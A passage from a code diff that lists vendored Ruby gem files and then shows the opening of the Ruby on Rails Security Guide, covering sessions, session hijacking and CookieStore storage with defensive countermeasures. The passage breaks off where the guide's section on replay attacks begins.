  2147. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_generator_json_index.rb +255 -0
  2148. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_generator_markup.rb +56 -0
  2149. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_generator_ri.rb +84 -0
  2150. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_include.rb +96 -0
  2151. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup.rb +95 -0
  2152. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_attribute_manager.rb +237 -0
  2153. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_document.rb +180 -0
  2154. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_formatter.rb +55 -0
  2155. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_heading.rb +20 -0
  2156. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_include.rb +19 -0
  2157. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_indented_paragraph.rb +39 -0
  2158. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_paragraph.rb +18 -0
  2159. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_parser.rb +1624 -0
  2160. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_pre_process.rb +461 -0
  2161. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_raw.rb +29 -0
  2162. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_ansi.rb +348 -0
  2163. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_bs.rb +342 -0
  2164. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_html.rb +515 -0
  2165. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_html_crossref.rb +200 -0
  2166. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_html_snippet.rb +668 -0
  2167. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_label.rb +50 -0
  2168. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_rdoc.rb +357 -0
  2169. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_table_of_contents.rb +90 -0
  2170. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_to_tt_only.rb +226 -0
  2171. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_markup_verbatim.rb +16 -0
  2172. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_method_attr.rb +150 -0
  2173. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_normal_class.rb +23 -0
  2174. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_normal_module.rb +37 -0
  2175. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_options.rb +579 -0
  2176. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_parser.rb +162 -0
  2177. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_parser_c.rb +1438 -0
  2178. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_parser_rd.rb +52 -0
  2179. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_parser_ruby.rb +2490 -0
  2180. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_parser_simple.rb +115 -0
  2181. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_rd.rb +30 -0
  2182. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_rd_block_parser.rb +527 -0
  2183. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_rd_inline.rb +63 -0
  2184. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_rd_inline_parser.rb +173 -0
  2185. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_rdoc.rb +280 -0
  2186. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_require.rb +25 -0
  2187. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_ri_driver.rb +1059 -0
  2188. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_ri_paths.rb +46 -0
  2189. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_ri_store.rb +466 -0
  2190. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_ruby_lex.rb +137 -0
  2191. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_rubygems_hook.rb +202 -0
  2192. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_single_class.rb +12 -0
  2193. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_stats.rb +588 -0
  2194. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_task.rb +120 -0
  2195. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_text.rb +542 -0
  2196. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_token_stream.rb +42 -0
  2197. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_tom_doc.rb +458 -0
  2198. data/vendor/bundle/gems/rdoc-3.12/test/test_rdoc_top_level.rb +313 -0
  2199. data/vendor/bundle/gems/rdoc-3.12/test/xref_data.rb +76 -0
  2200. data/vendor/bundle/gems/rdoc-3.12/test/xref_test_case.rb +67 -0
  2201. data/vendor/bundle/gems/sprockets-2.2.2/LICENSE +21 -0
  2202. data/vendor/bundle/gems/sprockets-2.2.2/README.md +405 -0
  2203. data/vendor/bundle/gems/sprockets-2.2.2/bin/sprockets +80 -0
  2204. data/vendor/bundle/gems/sprockets-2.2.2/lib/rake/sprocketstask.rb +140 -0
  2205. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/asset.rb +260 -0
  2206. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/asset_attributes.rb +126 -0
  2207. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/base.rb +307 -0
  2208. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/bundled_asset.rb +79 -0
  2209. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/cache/file_store.rb +32 -0
  2210. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/caching.rb +96 -0
  2211. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/charset_normalizer.rb +41 -0
  2212. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/context.rb +235 -0
  2213. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/directive_processor.rb +406 -0
  2214. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/eco_template.rb +38 -0
  2215. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/ejs_template.rb +37 -0
  2216. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/engines.rb +74 -0
  2217. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/environment.rb +91 -0
  2218. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/errors.rb +19 -0
  2219. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/index.rb +99 -0
  2220. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/jst_processor.rb +33 -0
  2221. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/manifest.rb +203 -0
  2222. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/mime.rb +48 -0
  2223. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/processed_asset.rb +152 -0
  2224. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/processing.rb +280 -0
  2225. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/processor.rb +32 -0
  2226. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/safety_colons.rb +28 -0
  2227. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/server.rb +247 -0
  2228. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/static_asset.rb +57 -0
  2229. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/trail.rb +90 -0
  2230. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/utils.rb +69 -0
  2231. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets/version.rb +3 -0
  2232. data/vendor/bundle/gems/sprockets-2.2.2/lib/sprockets.rb +64 -0
  2233. data/vendor/bundle/gems/thor-0.16.0/CHANGELOG.rdoc +134 -0
  2234. data/vendor/bundle/gems/thor-0.16.0/Gemfile +15 -0
  2235. data/vendor/bundle/gems/thor-0.16.0/LICENSE.md +20 -0
  2236. data/vendor/bundle/gems/thor-0.16.0/README.md +28 -0
  2237. data/vendor/bundle/gems/thor-0.16.0/Thorfile +30 -0
  2238. data/vendor/bundle/gems/thor-0.16.0/bin/rake2thor +86 -0
  2239. data/vendor/bundle/gems/thor-0.16.0/bin/thor +6 -0
  2240. data/vendor/bundle/gems/thor-0.16.0/lib/thor/actions/create_file.rb +105 -0
  2241. data/vendor/bundle/gems/thor-0.16.0/lib/thor/actions/create_link.rb +57 -0
  2242. data/vendor/bundle/gems/thor-0.16.0/lib/thor/actions/directory.rb +98 -0
  2243. data/vendor/bundle/gems/thor-0.16.0/lib/thor/actions/empty_directory.rb +153 -0
  2244. data/vendor/bundle/gems/thor-0.16.0/lib/thor/actions/file_manipulation.rb +308 -0
  2245. data/vendor/bundle/gems/thor-0.16.0/lib/thor/actions/inject_into_file.rb +109 -0
  2246. data/vendor/bundle/gems/thor-0.16.0/lib/thor/actions.rb +318 -0
  2247. data/vendor/bundle/gems/thor-0.16.0/lib/thor/base.rb +641 -0
  2248. data/vendor/bundle/gems/thor-0.16.0/lib/thor/core_ext/dir_escape.rb +0 -0
  2249. data/vendor/bundle/gems/thor-0.16.0/lib/thor/core_ext/file_binary_read.rb +9 -0
  2250. data/vendor/bundle/gems/thor-0.16.0/lib/thor/core_ext/hash_with_indifferent_access.rb +75 -0
  2251. data/vendor/bundle/gems/thor-0.16.0/lib/thor/core_ext/ordered_hash.rb +100 -0
  2252. data/vendor/bundle/gems/thor-0.16.0/lib/thor/error.rb +35 -0
  2253. data/vendor/bundle/gems/thor-0.16.0/lib/thor/group.rb +285 -0
  2254. data/vendor/bundle/gems/thor-0.16.0/lib/thor/invocation.rb +170 -0
  2255. data/vendor/bundle/gems/thor-0.16.0/lib/thor/parser/argument.rb +74 -0
  2256. data/vendor/bundle/gems/thor-0.16.0/lib/thor/parser/arguments.rb +171 -0
  2257. data/vendor/bundle/gems/thor-0.16.0/lib/thor/parser/option.rb +121 -0
  2258. data/vendor/bundle/gems/thor-0.16.0/lib/thor/parser/options.rb +178 -0
  2259. data/vendor/bundle/gems/thor-0.16.0/lib/thor/parser.rb +4 -0
  2260. data/vendor/bundle/gems/thor-0.16.0/lib/thor/rake_compat.rb +71 -0
  2261. data/vendor/bundle/gems/thor-0.16.0/lib/thor/runner.rb +321 -0
  2262. data/vendor/bundle/gems/thor-0.16.0/lib/thor/shell/basic.rb +389 -0
  2263. data/vendor/bundle/gems/thor-0.16.0/lib/thor/shell/color.rb +144 -0
  2264. data/vendor/bundle/gems/thor-0.16.0/lib/thor/shell/html.rb +123 -0
  2265. data/vendor/bundle/gems/thor-0.16.0/lib/thor/shell.rb +88 -0
  2266. data/vendor/bundle/gems/thor-0.16.0/lib/thor/task.rb +132 -0
  2267. data/vendor/bundle/gems/thor-0.16.0/lib/thor/util.rb +266 -0
  2268. data/vendor/bundle/gems/thor-0.16.0/lib/thor/version.rb +3 -0
  2269. data/vendor/bundle/gems/thor-0.16.0/lib/thor.rb +379 -0
  2270. data/vendor/bundle/gems/thor-0.16.0/spec/actions/create_file_spec.rb +170 -0
  2271. data/vendor/bundle/gems/thor-0.16.0/spec/actions/create_link_spec.rb +81 -0
  2272. data/vendor/bundle/gems/thor-0.16.0/spec/actions/directory_spec.rb +149 -0
  2273. data/vendor/bundle/gems/thor-0.16.0/spec/actions/empty_directory_spec.rb +130 -0
  2274. data/vendor/bundle/gems/thor-0.16.0/spec/actions/file_manipulation_spec.rb +370 -0
  2275. data/vendor/bundle/gems/thor-0.16.0/spec/actions/inject_into_file_spec.rb +135 -0
  2276. data/vendor/bundle/gems/thor-0.16.0/spec/actions_spec.rb +331 -0
  2277. data/vendor/bundle/gems/thor-0.16.0/spec/base_spec.rb +279 -0
  2278. data/vendor/bundle/gems/thor-0.16.0/spec/core_ext/hash_with_indifferent_access_spec.rb +43 -0
  2279. data/vendor/bundle/gems/thor-0.16.0/spec/core_ext/ordered_hash_spec.rb +115 -0
  2280. data/vendor/bundle/gems/thor-0.16.0/spec/exit_condition_spec.rb +19 -0
  2281. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/application.rb +2 -0
  2282. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/app{1}/README +3 -0
  2283. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/bundle/execute.rb +6 -0
  2284. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/bundle/main.thor +1 -0
  2285. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/doc/%file_name%.rb.tt +1 -0
  2286. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/doc/COMMENTER +10 -0
  2287. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/doc/README +3 -0
  2288. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/doc/block_helper.rb +3 -0
  2289. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/doc/config.rb +1 -0
  2290. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/doc/config.yaml.tt +1 -0
  2291. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/enum.thor +10 -0
  2292. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/group.thor +114 -0
  2293. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/invoke.thor +112 -0
  2294. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/path with spaces +0 -0
  2295. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/script.thor +190 -0
  2296. data/vendor/bundle/gems/thor-0.16.0/spec/fixtures/task.thor +10 -0
  2297. data/vendor/bundle/gems/thor-0.16.0/spec/group_spec.rb +216 -0
  2298. data/vendor/bundle/gems/thor-0.16.0/spec/invocation_spec.rb +100 -0
  2299. data/vendor/bundle/gems/thor-0.16.0/spec/parser/argument_spec.rb +53 -0
  2300. data/vendor/bundle/gems/thor-0.16.0/spec/parser/arguments_spec.rb +66 -0
  2301. data/vendor/bundle/gems/thor-0.16.0/spec/parser/option_spec.rb +202 -0
  2302. data/vendor/bundle/gems/thor-0.16.0/spec/parser/options_spec.rb +330 -0
  2303. data/vendor/bundle/gems/thor-0.16.0/spec/rake_compat_spec.rb +72 -0
  2304. data/vendor/bundle/gems/thor-0.16.0/spec/register_spec.rb +135 -0
  2305. data/vendor/bundle/gems/thor-0.16.0/spec/runner_spec.rb +241 -0
  2306. data/vendor/bundle/gems/thor-0.16.0/spec/shell/basic_spec.rb +300 -0
  2307. data/vendor/bundle/gems/thor-0.16.0/spec/shell/color_spec.rb +81 -0
  2308. data/vendor/bundle/gems/thor-0.16.0/spec/shell/html_spec.rb +32 -0
  2309. data/vendor/bundle/gems/thor-0.16.0/spec/shell_spec.rb +47 -0
  2310. data/vendor/bundle/gems/thor-0.16.0/spec/spec_helper.rb +59 -0
  2311. data/vendor/bundle/gems/thor-0.16.0/spec/task_spec.rb +80 -0
  2312. data/vendor/bundle/gems/thor-0.16.0/spec/thor_spec.rb +418 -0
  2313. data/vendor/bundle/gems/thor-0.16.0/spec/util_spec.rb +196 -0
  2314. data/vendor/bundle/gems/thor-0.16.0/thor.gemspec +26 -0
  2315. data/vendor/bundle/gems/tilt-1.3.3/COPYING +18 -0
  2316. data/vendor/bundle/gems/tilt-1.3.3/Gemfile +2 -0
  2317. data/vendor/bundle/gems/tilt-1.3.3/README.md +208 -0
  2318. data/vendor/bundle/gems/tilt-1.3.3/Rakefile +80 -0
  2319. data/vendor/bundle/gems/tilt-1.3.3/TEMPLATES.md +516 -0
  2320. data/vendor/bundle/gems/tilt-1.3.3/bin/tilt +110 -0
  2321. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/builder.rb +40 -0
  2322. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/coffee.rb +50 -0
  2323. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/css.rb +72 -0
  2324. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/erb.rb +110 -0
  2325. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/haml.rb +64 -0
  2326. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/liquid.rb +41 -0
  2327. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/markaby.rb +52 -0
  2328. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/markdown.rb +190 -0
  2329. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/nokogiri.rb +43 -0
  2330. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/radius.rb +51 -0
  2331. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/rdoc.rb +32 -0
  2332. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/string.rb +21 -0
  2333. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/template.rb +285 -0
  2334. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/textile.rb +25 -0
  2335. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/wiki.rb +50 -0
  2336. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt/yajl.rb +94 -0
  2337. data/vendor/bundle/gems/tilt-1.3.3/lib/tilt.rb +190 -0
  2338. data/vendor/bundle/gems/tilt-1.3.3/test/contest.rb +68 -0
  2339. data/vendor/bundle/gems/tilt-1.3.3/test/markaby/locals.mab +1 -0
  2340. data/vendor/bundle/gems/tilt-1.3.3/test/markaby/markaby.mab +1 -0
  2341. data/vendor/bundle/gems/tilt-1.3.3/test/markaby/markaby_other_static.mab +1 -0
  2342. data/vendor/bundle/gems/tilt-1.3.3/test/markaby/render_twice.mab +1 -0
  2343. data/vendor/bundle/gems/tilt-1.3.3/test/markaby/scope.mab +1 -0
  2344. data/vendor/bundle/gems/tilt-1.3.3/test/markaby/yielding.mab +2 -0
  2345. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_blueclothtemplate_test.rb +45 -0
  2346. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_buildertemplate_test.rb +59 -0
  2347. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_cache_test.rb +32 -0
  2348. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_coffeescripttemplate_test.rb +61 -0
  2349. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_compilesite_test.rb +51 -0
  2350. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_creoletemplate_test.rb +28 -0
  2351. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_erbtemplate_test.rb +234 -0
  2352. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_erubistemplate_test.rb +151 -0
  2353. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_fallback_test.rb +122 -0
  2354. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_hamltemplate_test.rb +144 -0
  2355. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_kramdown_test.rb +42 -0
  2356. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_lesstemplate_test.rb +26 -0
  2357. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_liquidtemplate_test.rb +78 -0
  2358. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_markaby_test.rb +88 -0
  2359. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_markdown_test.rb +161 -0
  2360. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_marukutemplate_test.rb +48 -0
  2361. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_nokogiritemplate_test.rb +87 -0
  2362. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_radiustemplate_test.rb +75 -0
  2363. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_rdiscounttemplate_test.rb +55 -0
  2364. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_rdoctemplate_test.rb +24 -0
  2365. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_redcarpettemplate_test.rb +59 -0
  2366. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_redclothtemplate_test.rb +24 -0
  2367. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_sasstemplate_test.rb +41 -0
  2368. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_stringtemplate_test.rb +170 -0
  2369. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_template_test.rb +154 -0
  2370. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_test.rb +65 -0
  2371. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_wikiclothtemplate_test.rb +32 -0
  2372. data/vendor/bundle/gems/tilt-1.3.3/test/tilt_yajltemplate_test.rb +92 -0
  2373. data/vendor/bundle/gems/tilt-1.3.3/tilt.gemspec +109 -0
  2374. data/vendor/bundle/specifications/actionpack-3.2.9.gemspec +57 -0
  2375. data/vendor/bundle/specifications/activemodel-3.2.9.gemspec +32 -0
  2376. data/vendor/bundle/specifications/activesupport-3.2.9.gemspec +33 -0
  2377. data/vendor/bundle/specifications/builder-3.0.4.gemspec +29 -0
  2378. data/vendor/bundle/specifications/erubis-2.7.0.gemspec +28 -0
  2379. data/vendor/bundle/specifications/hike-1.2.1.gemspec +25 -0
  2380. data/vendor/bundle/specifications/i18n-0.6.1.gemspec +38 -0
  2381. data/vendor/bundle/specifications/journey-1.0.4.gemspec +47 -0
  2382. data/vendor/bundle/specifications/jquery-rails-2.1.4.gemspec +32 -0
  2383. data/vendor/bundle/specifications/json-1.7.5.gemspec +36 -0
  2384. data/vendor/bundle/specifications/multi_json-1.5.0.gemspec +41 -0
  2385. data/vendor/bundle/specifications/rack-1.4.1.gemspec +47 -0
  2386. data/vendor/bundle/specifications/rack-cache-1.2.gemspec +40 -0
  2387. data/vendor/bundle/specifications/rack-ssl-1.3.2.gemspec +29 -0
  2388. data/vendor/bundle/specifications/rack-test-0.6.2.gemspec +31 -0
  2389. data/vendor/bundle/specifications/railties-3.2.9.gemspec +47 -0
  2390. data/vendor/bundle/specifications/rake-10.0.3.gemspec +34 -0
  2391. data/vendor/bundle/specifications/rdoc-3.12.gemspec +51 -0
  2392. data/vendor/bundle/specifications/sprockets-2.2.2.gemspec +64 -0
  2393. data/vendor/bundle/specifications/thor-0.16.0.gemspec +50 -0
  2394. data/vendor/bundle/specifications/tilt-1.3.3.gemspec +97 -0
  2395. metadata +2493 -0
@@ -0,0 +1,1004 @@
1
+ h2. Ruby On Rails Security Guide
2
+
3
+ This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
4
+ mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:
5
+
6
+ * All countermeasures _(highlight)that are highlighted_
7
+ * The concept of sessions in Rails, what to put in there and popular attack methods
8
+ * How just visiting a site can be a security problem (with CSRF)
9
+ * What you have to pay attention to when working with files or providing an administration interface
10
+ * The Rails-specific mass assignment problem
11
+ * How to manage users: Logging in and out and attack methods on all layers
12
+ * And the most popular injection attack methods
13
+
14
+ endprologue.
15
+
16
+ h3. Introduction
17
+
18
+ Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
19
+
20
+ In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
21
+
22
+ The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
23
+
24
+ The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
25
+
26
+ In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
27
+
28
+ h3. Sessions
29
+
30
+ A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
31
+
32
+ h4. What are Sessions?
33
+
34
+ -- _HTTP is a stateless protocol. Sessions make it stateful._
35
+
36
+ Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
37
+ Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
38
+
39
+ A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
40
+
41
+ <ruby>
42
+ session[:user_id] = @current_user.id
43
+ User.find(session[:user_id])
44
+ </ruby>
45
+
46
+ h4. Session id
47
+
48
+ -- _The session id is a 32 byte long MD5 hash value._
49
+
50
+ A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
51
+
52
+ h4. Session Hijacking
53
+
54
+ -- _Stealing a user's session id lets an attacker use the web application in the victim's name._
55
+
56
+ Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
57
+
58
+ Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
59
+
60
+ * Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
61
+
62
+ <ruby>
63
+ config.force_ssl = true
64
+ </ruby>
65
+
66
+ * Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
67
+
68
+ * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
69
+
70
+ * Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
71
+
72
+ The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
73
+
74
+ h4. Session Guidelines
75
+
76
+ -- _Here are some general guidelines on sessions._
77
+
78
+ * _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
79
+ This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
80
+
81
+ * _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
82
+
83
+ h4. Session Storage
84
+
85
+ -- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore._
86
+
87
+ There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
88
+
89
+ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
90
+
91
+ * Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
92
+
93
+ * The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
94
+
95
+ That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
96
+
97
+ <ruby>
98
+ config.action_dispatch.session = {
99
+ :key => '_app_session',
100
+ :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
101
+ }
102
+ </ruby>
103
+
104
+ There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
105
+
106
+ h4. Replay Attacks for CookieStore Sessions
107
+
108
+ -- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._
109
+
110
+ It works like this:
111
+
112
